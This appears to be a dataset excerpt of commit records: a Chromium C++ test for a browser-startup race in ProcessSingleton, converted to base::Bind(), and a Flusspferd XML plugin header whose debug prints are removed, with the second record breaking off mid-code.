base::CloseProcessHandle(process_handle_);\n    process_handle_ = base::kNullProcessHandle;\n    process_terminated_ = false;\n  }\n\n  void StartChrome(base::WaitableEvent* start_event, bool first_run) {\n    \/\/ TODO(mattm): maybe stuff should be refactored to use\n    \/\/ UITest::LaunchBrowserHelper somehow?\n    FilePath browser_directory;\n    PathService::Get(chrome::DIR_APP, &browser_directory);\n    CommandLine command_line(browser_directory.Append(\n        chrome::kBrowserProcessExecutablePath));\n\n    command_line.AppendSwitchPath(switches::kUserDataDir, user_data_dir_);\n\n    if (first_run)\n      command_line.AppendSwitch(switches::kFirstRun);\n    else\n      command_line.AppendSwitch(switches::kNoFirstRun);\n\n    \/\/ Add the normal test-mode switches, except for the ones we're adding\n    \/\/ ourselves.\n    CommandLine standard_switches(CommandLine::NO_PROGRAM);\n    test_launcher_utils::PrepareBrowserCommandLineForTests(&standard_switches);\n    const CommandLine::SwitchMap& switch_map = standard_switches.GetSwitches();\n    for (CommandLine::SwitchMap::const_iterator i = switch_map.begin();\n         i != switch_map.end(); ++i) {\n      const std::string& switch_name = i->first;\n      if (switch_name == switches::kUserDataDir ||\n          switch_name == switches::kFirstRun ||\n          switch_name == switches::kNoFirstRun)\n        continue;\n\n      command_line.AppendSwitchNative(switch_name, i->second);\n    }\n\n    \/\/ Try to get all threads to launch the app at the same time.\n    \/\/ So let the test know we are ready.\n    ready_event_.Signal();\n    \/\/ And then wait for the test to tell us to GO!\n    ASSERT_NE(static_cast<base::WaitableEvent*>(NULL), start_event);\n    start_event->Wait();\n\n    \/\/ Here we don't wait for the app to be terminated because one of the\n    \/\/ process will stay alive while the others will be restarted. If we would\n    \/\/ wait here, we would never get a handle to the main process...\n    base::LaunchProcess(command_line, base::LaunchOptions(), &process_handle_);\n    ASSERT_NE(base::kNullProcessHandle, process_handle_);\n\n    \/\/ We can wait on the handle here, we should get stuck on one and only\n    \/\/ one process. The test below will take care of killing that process\n    \/\/ to unstuck us once it confirms there is only one.\n    process_terminated_ = base::WaitForSingleProcess(process_handle_,\n                                                     timeout_ms_);\n    \/\/ Let the test know we are done.\n    done_event_.Signal();\n  }\n\n  \/\/ Public access to simplify the test code using them.\n  base::WaitableEvent ready_event_;\n  base::WaitableEvent done_event_;\n  base::ProcessHandle process_handle_;\n  bool process_terminated_;\n\n private:\n  friend class base::RefCountedThreadSafe<ChromeStarter>;\n\n  ~ChromeStarter() {\n    if (process_handle_ != base::kNullProcessHandle)\n      base::CloseProcessHandle(process_handle_);\n  }\n\n  int timeout_ms_;\n  FilePath user_data_dir_;\n\n  DISALLOW_COPY_AND_ASSIGN(ChromeStarter);\n};\n\n\/\/ Our test fixture that initializes and holds onto a few global vars.\nclass ProcessSingletonTest : public UITest {\n public:\n  ProcessSingletonTest()\n      \/\/ We use a manual reset so that all threads wake up at once when signaled\n      \/\/ and thus we must manually reset it for each attempt.\n      : threads_waker_(true \/* manual *\/, false \/* signaled *\/) {\n    EXPECT_TRUE(temp_profile_dir_.CreateUniqueTempDir());\n  }\n\n  void SetUp() {\n    \/\/ Start the threads and create the starters.\n    for (size_t i = 0; i < kNbThreads; ++i) {\n      chrome_starter_threads_[i].reset(new base::Thread(\"ChromeStarter\"));\n      ASSERT_TRUE(chrome_starter_threads_[i]->Start());\n      chrome_starters_[i] = new ChromeStarter(\n          TestTimeouts::action_max_timeout_ms(), temp_profile_dir_.path());\n    }\n  }\n\n  void TearDown() {\n    \/\/ Stop the threads.\n    for (size_t i = 0; i < kNbThreads; ++i)\n      chrome_starter_threads_[i]->Stop();\n  }\n\n  \/\/ This method is used to make sure we kill the main browser process after\n  \/\/ all of its child processes have successfully attached to it. This was added\n  \/\/ when we realized that if we just kill the parent process right away, we\n  \/\/ sometimes end up with dangling child processes. If we Sleep for a certain\n  \/\/ amount of time, we are OK... So we introduced this method to avoid a\n  \/\/ flaky wait. Instead, we kill all descendants of the main process after we\n  \/\/ killed it, relying on the fact that we can still get the parent id of a\n  \/\/ child process, even when the parent dies.\n  void KillProcessTree(base::ProcessHandle process_handle) {\n    class ProcessTreeFilter : public base::ProcessFilter {\n     public:\n      explicit ProcessTreeFilter(base::ProcessId parent_pid) {\n        ancestor_pids_.insert(parent_pid);\n      }\n      virtual bool Includes(const base::ProcessEntry & entry) const {\n        if (ancestor_pids_.find(entry.parent_pid()) != ancestor_pids_.end()) {\n          ancestor_pids_.insert(entry.pid());\n          return true;\n        } else {\n          return false;\n        }\n      }\n     private:\n      mutable std::set<base::ProcessId> ancestor_pids_;\n    } process_tree_filter(base::GetProcId(process_handle));\n\n    \/\/ Start by explicitly killing the main process we know about...\n    static const int kExitCode = 42;\n    EXPECT_TRUE(base::KillProcess(process_handle, kExitCode, true \/* wait *\/));\n\n    \/\/ Then loop until we can't find any of its descendant.\n    \/\/ But don't try more than kNbTries times...\n    static const int kNbTries = 10;\n    int num_tries = 0;\n    while (base::GetProcessCount(chrome::kBrowserProcessExecutablePath,\n        &process_tree_filter) > 0 && num_tries++ < kNbTries) {\n      base::KillProcesses(chrome::kBrowserProcessExecutablePath,\n                          kExitCode, &process_tree_filter);\n    }\n    DLOG_IF(ERROR, num_tries >= kNbTries) << \"Failed to kill all processes!\";\n  }\n\n  \/\/ Since this is a hard to reproduce problem, we make a few attempts.\n  \/\/ We stop the attempts at the first error, and when there are no errors,\n  \/\/ we don't time-out of any wait, so it executes quite fast anyway.\n  static const size_t kNbAttempts = 5;\n\n  \/\/ The idea is to start chrome from multiple threads all at once.\n  static const size_t kNbThreads = 5;\n  scoped_refptr<ChromeStarter> chrome_starters_[kNbThreads];\n  scoped_ptr<base::Thread> chrome_starter_threads_[kNbThreads];\n\n  \/\/ The event that will get all threads to wake up simultaneously and try\n  \/\/ to start a chrome process at the same time.\n  base::WaitableEvent threads_waker_;\n\n  \/\/ We don't want to use the default profile, but can't use UITest's since we\n  \/\/ don't use UITest::LaunchBrowser.\n  ScopedTempDir temp_profile_dir_;\n};\n\n#if defined(OS_LINUX) && defined(TOOLKIT_VIEWS)\n\/\/ http:\/\/crbug.com\/58219\n#define MAYBE_StartupRaceCondition FAILS_StartupRaceCondition\n#else\n#define MAYBE_StartupRaceCondition StartupRaceCondition\n#endif\nTEST_F(ProcessSingletonTest, MAYBE_StartupRaceCondition) {\n  \/\/ We use this to stop the attempts loop on the first failure.\n  bool failed = false;\n  for (size_t attempt = 0; attempt < kNbAttempts && !failed; ++attempt) {\n    SCOPED_TRACE(testing::Message() << \"Attempt: \" << attempt << \".\");\n    \/\/ We use a single event to get all threads to do the AppLaunch at the same\n    \/\/ time...\n    threads_waker_.Reset();\n\n    \/\/ Test both with and without the first-run dialog, since they exercise\n    \/\/ different paths.\n#if defined(OS_POSIX)\n    \/\/ TODO(mattm): test first run dialog singleton handling on linux too.\n    \/\/ On posix if we test the first run dialog, GracefulShutdownHandler gets\n    \/\/ the TERM signal, but since the message loop isn't running during the gtk\n    \/\/ first run dialog, the ShutdownDetector never handles it, and KillProcess\n    \/\/ has to time out (60 sec!) and SIGKILL.\n    bool first_run = false;\n#else\n    \/\/ Test for races in both regular start up and first run start up cases.\n    bool first_run = attempt % 2;\n#endif\n\n    \/\/ Here we prime all the threads with a ChromeStarter that will wait for\n    \/\/ our signal to launch its chrome process.\n    for (size_t i = 0; i < kNbThreads; ++i) {\n      ASSERT_NE(static_cast<ChromeStarter*>(NULL), chrome_starters_[i].get());\n      chrome_starters_[i]->Reset();\n\n      ASSERT_TRUE(chrome_starter_threads_[i]->IsRunning());\n      ASSERT_NE(static_cast<MessageLoop*>(NULL),\n                chrome_starter_threads_[i]->message_loop());\n\n      chrome_starter_threads_[i]->message_loop()->PostTask(\n          FROM_HERE, NewRunnableMethod(chrome_starters_[i].get(),\n                                       &ChromeStarter::StartChrome,\n                                       &threads_waker_,\n                                       first_run));\n    }\n\n    \/\/ Wait for all the starters to be ready.\n    \/\/ We could replace this loop if we ever implement a WaitAll().\n    for (size_t i = 0; i < kNbThreads; ++i) {\n      SCOPED_TRACE(testing::Message() << \"Waiting on thread: \" << i << \".\");\n      chrome_starters_[i]->ready_event_.Wait();\n    }\n    \/\/ GO!\n    threads_waker_.Signal();\n\n    \/\/ As we wait for all threads to signal that they are done, we remove their\n    \/\/ index from this vector so that we get left with only the index of\n    \/\/ the thread that started the main process.\n    std::vector<size_t> pending_starters(kNbThreads);\n    for (size_t i = 0; i < kNbThreads; ++i)\n      pending_starters[i] = i;\n\n    \/\/ We use a local array of starter's done events we must wait on...\n    \/\/ These are collected from the starters that we have not yet been removed\n    \/\/ from the pending_starters vector.\n    base::WaitableEvent* starters_done_events[kNbThreads];\n    \/\/ At the end, \"There can be only one\" main browser process alive.\n    while (pending_starters.size() > 1) {\n      SCOPED_TRACE(testing::Message() << pending_starters.size() <<\n                   \" starters left.\");\n      for (size_t i = 0; i < pending_starters.size(); ++i) {\n        starters_done_events[i] =\n            &chrome_starters_[pending_starters[i]]->done_event_;\n      }\n      size_t done_index = base::WaitableEvent::WaitMany(\n          starters_done_events, pending_starters.size());\n      size_t starter_index = pending_starters[done_index];\n      \/\/ If the starter is done but has not marked itself as terminated,\n      \/\/ it is because it timed out of its WaitForSingleProcess(). Only the\n      \/\/ last one standing should be left waiting... So we failed...\n      EXPECT_TRUE(chrome_starters_[starter_index]->process_terminated_ ||\n                  failed) << \"There is more than one main process.\";\n      if (!chrome_starters_[starter_index]->process_terminated_) {\n        \/\/ This will stop the \"for kNbAttempts\" loop.\n        failed = true;\n        \/\/ But we let the last loop turn finish so that we can properly\n        \/\/ kill all remaining processes. Starting with this one...\n        if (chrome_starters_[starter_index]->process_handle_ !=\n            base::kNullProcessHandle) {\n          KillProcessTree(chrome_starters_[starter_index]->process_handle_);\n        }\n      }\n      pending_starters.erase(pending_starters.begin() + done_index);\n    }\n\n    \/\/ \"There can be only one!\" :-)\n    ASSERT_EQ(static_cast<size_t>(1), pending_starters.size());\n    size_t last_index = pending_starters.front();\n    pending_starters.empty();\n    if (chrome_starters_[last_index]->process_handle_ !=\n        base::kNullProcessHandle) {\n      KillProcessTree(chrome_starters_[last_index]->process_handle_);\n      chrome_starters_[last_index]->done_event_.Wait();\n    }\n  }\n}\n\n}  \/\/ namespace\n<commit_msg>base::Bind() conversion for ProcessSingletonTest<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ This test validates that the ProcessSingleton class properly makes sure\n\/\/ that there is only one main browser process.\n\/\/\n\/\/ It is currently compiled and run on Windows and Posix(non-Mac) platforms.\n\/\/ Mac uses system services and ProcessSingletonMac is a noop.  (Maybe it still\n\/\/ makes sense to test that the system services are giving the behavior we\n\/\/ want?)\n\n#include <list>\n\n#include \"base\/bind.h\"\n#include \"base\/file_path.h\"\n#include \"base\/file_util.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/path_service.h\"\n#include \"base\/process_util.h\"\n#include \"base\/scoped_temp_dir.h\"\n#include \"base\/synchronization\/waitable_event.h\"\n#include \"base\/test\/test_timeouts.h\"\n#include \"base\/threading\/thread.h\"\n#include \"chrome\/common\/chrome_constants.h\"\n#include \"chrome\/common\/chrome_paths.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/base\/test_launcher_utils.h\"\n#include \"chrome\/test\/ui\/ui_test.h\"\n#include \"testing\/gtest\/include\/gtest\/gtest.h\"\n\nnamespace {\n\n\/\/ This is for the code that is to be ran in multiple threads at once,\n\/\/ to stress a race condition on first process start.\n\/\/ We use the thread safe ref counted base class so that we can use the\n\/\/ base::Bind to run the StartChrome methods in many threads.\nclass ChromeStarter : public base::RefCountedThreadSafe<ChromeStarter> {\n public:\n  ChromeStarter(int timeout_ms, const FilePath& user_data_dir)\n      : ready_event_(false \/* manual *\/, false \/* signaled *\/),\n        done_event_(false \/* manual *\/, false \/* signaled *\/),\n        process_handle_(base::kNullProcessHandle),\n        process_terminated_(false),\n        timeout_ms_(timeout_ms),\n        user_data_dir_(user_data_dir) {\n  }\n\n  \/\/ We must reset some data members since we reuse the same ChromeStarter\n  \/\/ object and start\/stop it a few times. We must start fresh! :-)\n  void Reset() {\n    ready_event_.Reset();\n    done_event_.Reset();\n    if (process_handle_ != base::kNullProcessHandle)\n      base::CloseProcessHandle(process_handle_);\n    process_handle_ = base::kNullProcessHandle;\n    process_terminated_ = false;\n  }\n\n  void StartChrome(base::WaitableEvent* start_event, bool first_run) {\n    \/\/ TODO(mattm): maybe stuff should be refactored to use\n    \/\/ UITest::LaunchBrowserHelper somehow?\n    FilePath browser_directory;\n    PathService::Get(chrome::DIR_APP, &browser_directory);\n    CommandLine command_line(browser_directory.Append(\n        chrome::kBrowserProcessExecutablePath));\n\n    command_line.AppendSwitchPath(switches::kUserDataDir, user_data_dir_);\n\n    if (first_run)\n      command_line.AppendSwitch(switches::kFirstRun);\n    else\n      command_line.AppendSwitch(switches::kNoFirstRun);\n\n    \/\/ Add the normal test-mode switches, except for the ones we're adding\n    \/\/ ourselves.\n    CommandLine standard_switches(CommandLine::NO_PROGRAM);\n    test_launcher_utils::PrepareBrowserCommandLineForTests(&standard_switches);\n    const CommandLine::SwitchMap& switch_map = standard_switches.GetSwitches();\n    for (CommandLine::SwitchMap::const_iterator i = switch_map.begin();\n         i != switch_map.end(); ++i) {\n      const std::string& switch_name = i->first;\n      if (switch_name == switches::kUserDataDir ||\n          switch_name == switches::kFirstRun ||\n          switch_name == switches::kNoFirstRun)\n        continue;\n\n      command_line.AppendSwitchNative(switch_name, i->second);\n    }\n\n    \/\/ Try to get all threads to launch the app at the same time.\n    \/\/ So let the test know we are ready.\n    ready_event_.Signal();\n    \/\/ And then wait for the test to tell us to GO!\n    ASSERT_NE(static_cast<base::WaitableEvent*>(NULL), start_event);\n    start_event->Wait();\n\n    \/\/ Here we don't wait for the app to be terminated because one of the\n    \/\/ process will stay alive while the others will be restarted. If we would\n    \/\/ wait here, we would never get a handle to the main process...\n    base::LaunchProcess(command_line, base::LaunchOptions(), &process_handle_);\n    ASSERT_NE(base::kNullProcessHandle, process_handle_);\n\n    \/\/ We can wait on the handle here, we should get stuck on one and only\n    \/\/ one process. The test below will take care of killing that process\n    \/\/ to unstuck us once it confirms there is only one.\n    process_terminated_ = base::WaitForSingleProcess(process_handle_,\n                                                     timeout_ms_);\n    \/\/ Let the test know we are done.\n    done_event_.Signal();\n  }\n\n  \/\/ Public access to simplify the test code using them.\n  base::WaitableEvent ready_event_;\n  base::WaitableEvent done_event_;\n  base::ProcessHandle process_handle_;\n  bool process_terminated_;\n\n private:\n  friend class base::RefCountedThreadSafe<ChromeStarter>;\n\n  ~ChromeStarter() {\n    if (process_handle_ != base::kNullProcessHandle)\n      base::CloseProcessHandle(process_handle_);\n  }\n\n  int timeout_ms_;\n  FilePath user_data_dir_;\n\n  DISALLOW_COPY_AND_ASSIGN(ChromeStarter);\n};\n\n\/\/ Our test fixture that initializes and holds onto a few global vars.\nclass ProcessSingletonTest : public UITest {\n public:\n  ProcessSingletonTest()\n      \/\/ We use a manual reset so that all threads wake up at once when signaled\n      \/\/ and thus we must manually reset it for each attempt.\n      : threads_waker_(true \/* manual *\/, false \/* signaled *\/) {\n    EXPECT_TRUE(temp_profile_dir_.CreateUniqueTempDir());\n  }\n\n  void SetUp() {\n    \/\/ Start the threads and create the starters.\n    for (size_t i = 0; i < kNbThreads; ++i) {\n      chrome_starter_threads_[i].reset(new base::Thread(\"ChromeStarter\"));\n      ASSERT_TRUE(chrome_starter_threads_[i]->Start());\n      chrome_starters_[i] = new ChromeStarter(\n          TestTimeouts::action_max_timeout_ms(), temp_profile_dir_.path());\n    }\n  }\n\n  void TearDown() {\n    \/\/ Stop the threads.\n    for (size_t i = 0; i < kNbThreads; ++i)\n      chrome_starter_threads_[i]->Stop();\n  }\n\n  \/\/ This method is used to make sure we kill the main browser process after\n  \/\/ all of its child processes have successfully attached to it. This was added\n  \/\/ when we realized that if we just kill the parent process right away, we\n  \/\/ sometimes end up with dangling child processes. If we Sleep for a certain\n  \/\/ amount of time, we are OK... So we introduced this method to avoid a\n  \/\/ flaky wait. Instead, we kill all descendants of the main process after we\n  \/\/ killed it, relying on the fact that we can still get the parent id of a\n  \/\/ child process, even when the parent dies.\n  void KillProcessTree(base::ProcessHandle process_handle) {\n    class ProcessTreeFilter : public base::ProcessFilter {\n     public:\n      explicit ProcessTreeFilter(base::ProcessId parent_pid) {\n        ancestor_pids_.insert(parent_pid);\n      }\n      virtual bool Includes(const base::ProcessEntry & entry) const {\n        if (ancestor_pids_.find(entry.parent_pid()) != ancestor_pids_.end()) {\n          ancestor_pids_.insert(entry.pid());\n          return true;\n        } else {\n          return false;\n        }\n      }\n     private:\n      mutable std::set<base::ProcessId> ancestor_pids_;\n    } process_tree_filter(base::GetProcId(process_handle));\n\n    \/\/ Start by explicitly killing the main process we know about...\n    static const int kExitCode = 42;\n    EXPECT_TRUE(base::KillProcess(process_handle, kExitCode, true \/* wait *\/));\n\n    \/\/ Then loop until we can't find any of its descendant.\n    \/\/ But don't try more than kNbTries times...\n    static const int kNbTries = 10;\n    int num_tries = 0;\n    while (base::GetProcessCount(chrome::kBrowserProcessExecutablePath,\n        &process_tree_filter) > 0 && num_tries++ < kNbTries) {\n      base::KillProcesses(chrome::kBrowserProcessExecutablePath,\n                          kExitCode, &process_tree_filter);\n    }\n    DLOG_IF(ERROR, num_tries >= kNbTries) << \"Failed to kill all processes!\";\n  }\n\n  \/\/ Since this is a hard to reproduce problem, we make a few attempts.\n  \/\/ We stop the attempts at the first error, and when there are no errors,\n  \/\/ we don't time-out of any wait, so it executes quite fast anyway.\n  static const size_t kNbAttempts = 5;\n\n  \/\/ The idea is to start chrome from multiple threads all at once.\n  static const size_t kNbThreads = 5;\n  scoped_refptr<ChromeStarter> chrome_starters_[kNbThreads];\n  scoped_ptr<base::Thread> chrome_starter_threads_[kNbThreads];\n\n  \/\/ The event that will get all threads to wake up simultaneously and try\n  \/\/ to start a chrome process at the same time.\n  base::WaitableEvent threads_waker_;\n\n  \/\/ We don't want to use the default profile, but can't use UITest's since we\n  \/\/ don't use UITest::LaunchBrowser.\n  ScopedTempDir temp_profile_dir_;\n};\n\n#if defined(OS_LINUX) && defined(TOOLKIT_VIEWS)\n\/\/ http:\/\/crbug.com\/58219\n#define MAYBE_StartupRaceCondition FAILS_StartupRaceCondition\n#else\n#define MAYBE_StartupRaceCondition StartupRaceCondition\n#endif\nTEST_F(ProcessSingletonTest, MAYBE_StartupRaceCondition) {\n  \/\/ We use this to stop the attempts loop on the first failure.\n  bool failed = false;\n  for (size_t attempt = 0; attempt < kNbAttempts && !failed; ++attempt) {\n    SCOPED_TRACE(testing::Message() << \"Attempt: \" << attempt << \".\");\n    \/\/ We use a single event to get all threads to do the AppLaunch at the same\n    \/\/ time...\n    threads_waker_.Reset();\n\n    \/\/ Test both with and without the first-run dialog, since they exercise\n    \/\/ different paths.\n#if defined(OS_POSIX)\n    \/\/ TODO(mattm): test first run dialog singleton handling on linux too.\n    \/\/ On posix if we test the first run dialog, GracefulShutdownHandler gets\n    \/\/ the TERM signal, but since the message loop isn't running during the gtk\n    \/\/ first run dialog, the ShutdownDetector never handles it, and KillProcess\n    \/\/ has to time out (60 sec!) and SIGKILL.\n    bool first_run = false;\n#else\n    \/\/ Test for races in both regular start up and first run start up cases.\n    bool first_run = attempt % 2;\n#endif\n\n    \/\/ Here we prime all the threads with a ChromeStarter that will wait for\n    \/\/ our signal to launch its chrome process.\n    for (size_t i = 0; i < kNbThreads; ++i) {\n      ASSERT_NE(static_cast<ChromeStarter*>(NULL), chrome_starters_[i].get());\n      chrome_starters_[i]->Reset();\n\n      ASSERT_TRUE(chrome_starter_threads_[i]->IsRunning());\n      ASSERT_NE(static_cast<MessageLoop*>(NULL),\n                chrome_starter_threads_[i]->message_loop());\n\n      chrome_starter_threads_[i]->message_loop()->PostTask(\n          FROM_HERE, base::Bind(&ChromeStarter::StartChrome,\n                                chrome_starters_[i].get(),\n                                &threads_waker_,\n                                first_run));\n    }\n\n    \/\/ Wait for all the starters to be ready.\n    \/\/ We could replace this loop if we ever implement a WaitAll().\n    for (size_t i = 0; i < kNbThreads; ++i) {\n      SCOPED_TRACE(testing::Message() << \"Waiting on thread: \" << i << \".\");\n      chrome_starters_[i]->ready_event_.Wait();\n    }\n    \/\/ GO!\n    threads_waker_.Signal();\n\n    \/\/ As we wait for all threads to signal that they are done, we remove their\n    \/\/ index from this vector so that we get left with only the index of\n    \/\/ the thread that started the main process.\n    std::vector<size_t> pending_starters(kNbThreads);\n    for (size_t i = 0; i < kNbThreads; ++i)\n      pending_starters[i] = i;\n\n    \/\/ We use a local array of starter's done events we must wait on...\n    \/\/ These are collected from the starters that we have not yet been removed\n    \/\/ from the pending_starters vector.\n    base::WaitableEvent* starters_done_events[kNbThreads];\n    \/\/ At the end, \"There can be only one\" main browser process alive.\n    while (pending_starters.size() > 1) {\n      SCOPED_TRACE(testing::Message() << pending_starters.size() <<\n                   \" starters left.\");\n      for (size_t i = 0; i < pending_starters.size(); ++i) {\n        starters_done_events[i] =\n            &chrome_starters_[pending_starters[i]]->done_event_;\n      }\n      size_t done_index = base::WaitableEvent::WaitMany(\n          starters_done_events, pending_starters.size());\n      size_t starter_index = pending_starters[done_index];\n      \/\/ If the starter is done but has not marked itself as terminated,\n      \/\/ it is because it timed out of its WaitForSingleProcess(). Only the\n      \/\/ last one standing should be left waiting... So we failed...\n      EXPECT_TRUE(chrome_starters_[starter_index]->process_terminated_ ||\n                  failed) << \"There is more than one main process.\";\n      if (!chrome_starters_[starter_index]->process_terminated_) {\n        \/\/ This will stop the \"for kNbAttempts\" loop.\n        failed = true;\n        \/\/ But we let the last loop turn finish so that we can properly\n        \/\/ kill all remaining processes. Starting with this one...\n        if (chrome_starters_[starter_index]->process_handle_ !=\n            base::kNullProcessHandle) {\n          KillProcessTree(chrome_starters_[starter_index]->process_handle_);\n        }\n      }\n      pending_starters.erase(pending_starters.begin() + done_index);\n    }\n\n    \/\/ \"There can be only one!\" :-)\n    ASSERT_EQ(static_cast<size_t>(1), pending_starters.size());\n    size_t last_index = pending_starters.front();\n    pending_starters.empty();\n    if (chrome_starters_[last_index]->process_handle_ !=\n        base::kNullProcessHandle) {\n      KillProcessTree(chrome_starters_[last_index]->process_handle_);\n      chrome_starters_[last_index]->done_event_.Wait();\n    }\n  }\n}\n\n}  \/\/ namespace\n<|endoftext|>"}
{"text":"<commit_before>\/\/ vim:ts=2:sw=2:expandtab:autoindent:filetype=cpp:\n\/*\nThe MIT License\n\nCopyright (c) 2008, 2009 Flusspferd contributors (see \"CONTRIBUTORS\" or\n                                       http:\/\/flusspferd.org\/contributors.txt)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#ifndef FLUSSPFERD_XML_NODE_MAP_HPP\n#define FLUSSPFERD_XML_NODE_MAP_HPP\n\n#include <flusspferd.hpp>\n#include <flusspferd\/aliases.hpp>\n\n#include <map>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/weak_ptr.hpp>\n#include <boost\/enable_shared_from_this.hpp>\n\n#include <iostream>\n\nnamespace xml_plugin {\n\nclass node_map;\nclass document;\ntypedef boost::weak_ptr<node_map> weak_node_map;\ntypedef boost::shared_ptr<node_map> node_map_ptr;\n\nclass node_map : public boost::enable_shared_from_this<node_map> {\npublic:\n  \/*\n   * So, how ever you get hold of a given node in a document, it should always be\n   * the same object (in the JS sense):\n   *\n   *     node === node.firstChild.parentNode\n   *\n   * We store a map of void* (which is the underlying Node_impl* from Arabica)\n   * against the object*. Any function which can return a node should first look\n   * in this map, and if found should return the node from there.\n   *\n   * Each node should store a weak_ptr to the shared_node_map. In the node's\n   * destructor it should see if the shared_node_map is alive -- if it is it\n   * should remove itself from the map. This is to cope with the fact that\n   * finalizers can happen in any order in spidermonkey (i.e. the document could\n   * be finalized before the nodes)\n   *\/\n  typedef std::map<void*, flusspferd::object> node_identiy_map;\nprivate:\n  \/\/ Nothing can create instances of us directly\n  node_map() {}\nprotected:\n  friend class document;\n\n  \/\/ Template this to avoid circular dep on document\n  template <class T, class U>\n  static node_map_ptr make(T &obj, U node) {\n    node_map_ptr map(new node_map());\n    void *ptr = static_cast<void*>(node.underlying_impl());\n    map->node_map_[ptr] = obj;\n    return map;\n  }\n\n  node_identiy_map node_map_;\n\npublic:\n\n  ~node_map() {}\n\n  template <class T, class U>\n  flusspferd::object get_node(U node) {\n    void *ptr = static_cast<void*>(node.underlying_impl());\n\n    std::cout << \"Looking for (\" << int(ptr) << \") in the node_map\" << std::endl;\n    node_identiy_map::const_iterator it = node_map_.find(ptr);\n\n    if (it == node_map_.end()) {\n      using namespace flusspferd;\n      using namespace flusspferd::aliases;\n\n      object o = create<T>( make_vector( node, shared_from_this() ) );\n      std::cout << \"Put something (\" << int(ptr) << \") in the node_map\" << std::endl;\n      node_map_[ptr] = o;\n      return o;\n    }\n\n    \/\/ Should i use dynamic cast here? Probably, but for now, eh.\n    std::cout << \"Found (\" << int(ptr) << \") in the node_map\" << std::endl;\n    return it->second;\n  }\n\n  template <class U>\n  void remove_mapped_node(U node) {\n    void *ptr = static_cast<void*>(node.underlying_impl());\n    std::cout << \"Removing (\" << int(ptr) << \") from the node_map_\" << std::endl;\n    node_map_.erase(ptr);\n  }\n};\n\n}\n\n#endif\n<commit_msg>plugin\/xml: remove debug prints<commit_after>\/\/ vim:ts=2:sw=2:expandtab:autoindent:filetype=cpp:\n\/*\nThe MIT License\n\nCopyright (c) 2008, 2009 Flusspferd contributors (see \"CONTRIBUTORS\" or\n                                       http:\/\/flusspferd.org\/contributors.txt)\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n*\/\n\n#ifndef FLUSSPFERD_XML_NODE_MAP_HPP\n#define FLUSSPFERD_XML_NODE_MAP_HPP\n\n#include <flusspferd.hpp>\n#include <flusspferd\/aliases.hpp>\n\n#include <map>\n#include <boost\/shared_ptr.hpp>\n#include <boost\/weak_ptr.hpp>\n#include <boost\/enable_shared_from_this.hpp>\n\n\/\/#include <iostream>\n\nnamespace xml_plugin {\n\nclass node_map;\nclass document;\ntypedef boost::weak_ptr<node_map> weak_node_map;\ntypedef boost::shared_ptr<node_map> node_map_ptr;\n\nclass node_map : public boost::enable_shared_from_this<node_map> {\npublic:\n  \/*\n   * So, how ever you get hold of a given node in a document, it should always be\n   * the same object (in the JS sense):\n   *\n   *     node === node.firstChild.parentNode\n   *\n   * We store a map of void* (which is the underlying Node_impl* from Arabica)\n   * against the object*. Any function which can return a node should first look\n   * in this map, and if found should return the node from there.\n   *\n   * Each node should store a weak_ptr to the shared_node_map. In the node's\n   * destructor it should see if the shared_node_map is alive -- if it is it\n   * should remove itself from the map. This is to cope with the fact that\n   * finalizers can happen in any order in spidermonkey (i.e. the document could\n   * be finalized before the nodes)\n   *\/\n  typedef std::map<void*, flusspferd::object> node_identiy_map;\nprivate:\n  \/\/ Nothing can create instances of us directly\n  node_map() {}\nprotected:\n  friend class document;\n\n  \/\/ Template this to avoid circular dep on document\n  template <class T, class U>\n  static node_map_ptr make(T &obj, U node) {\n    node_map_ptr map(new node_map());\n    void *ptr = static_cast<void*>(node.underlying_impl());\n    map->node_map_[ptr] = obj;\n    return map;\n  }\n\n  node_identiy_map node_map_;\n\npublic:\n\n  ~node_map() {}\n\n  template <class T, class U>\n  flusspferd::object get_node(U node) {\n    void *ptr = static_cast<void*>(node.underlying_impl());\n\n    \/\/std::cout << \"Looking for (\" << int(ptr) << \") in the node_map\" << std::endl;\n    node_identiy_map::const_iterator it = node_map_.find(ptr);\n\n    if (it == node_map_.end()) {\n      using namespace flusspferd;\n      using namespace flusspferd::aliases;\n\n      object o = create<T>( make_vector( node, 